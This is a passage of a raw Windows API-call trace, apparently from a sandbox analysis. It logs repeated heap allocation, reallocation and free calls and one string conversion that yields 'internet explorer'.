[0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692618 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a16f8, Size=0xca) returned 0x69d588 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692658 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692618 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69d588, Size=0xbc) returned 0x685f30 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692658 | out: hHeap=0x630000) returned 1 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.775] GetProcessHeap () returned 0x630000 [0066.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692658 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692658 | out: hHeap=0x630000) returned 1 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.776] GetProcessHeap () returned 0x630000 [0066.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.776] GetProcessHeap () returned 0x630000 [0066.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692618 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.777] GetProcessHeap () returned 0x630000 [0066.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.777] GetProcessHeap () returned 0x630000 [0066.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x66) returned 0x685f30 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x5e) returned 0x685f30 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x51) returned 0x685f30 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6925f8 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692778 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x46) returned 0x685f30 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.978] GetProcessHeap () returned 0x630000 [0066.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x39) returned 0x685f30 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x693cc0 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c) returned 0x693ce8 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x27) returned 0x685f30 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693ce8 | out: hHeap=0x630000) returned 1 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x693cc8, cbMultiByte=17, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="internet explorer") returned 17 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x6a1618 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6926b8 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a1618, Size=0xca) returned 0x69d078 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692458 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.979] GetProcessHeap () returned 0x630000 [0066.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692838 [0066.979] GetProcessHeap () returned 0x630000 [0066.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69d078, Size=0xbc) returned 0x685f30 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.980] GetProcessHeap () returned 0x630000 [0066.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692498 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.984] GetProcessHeap () returned 0x630000 [0066.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6926b8 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x66) returned 0x685f30 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x5e) returned 0x685f30 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.985] GetProcessHeap () returned 0x630000 [0066.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.985] GetProcessHeap () returned 0x630000 [0066.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x51) returned 0x685f30 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6925f8 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692778 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x46) returned 0x685f30 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692658 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x39) returned 0x685f30 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x693ce8 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692658 | out: hHeap=0x630000) returned 1 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c) returned 0x693608 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x27) returned 0x685f30 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6927f8 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693ce8 | out: hHeap=0x630000) returned 1 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] HeapFree (in: 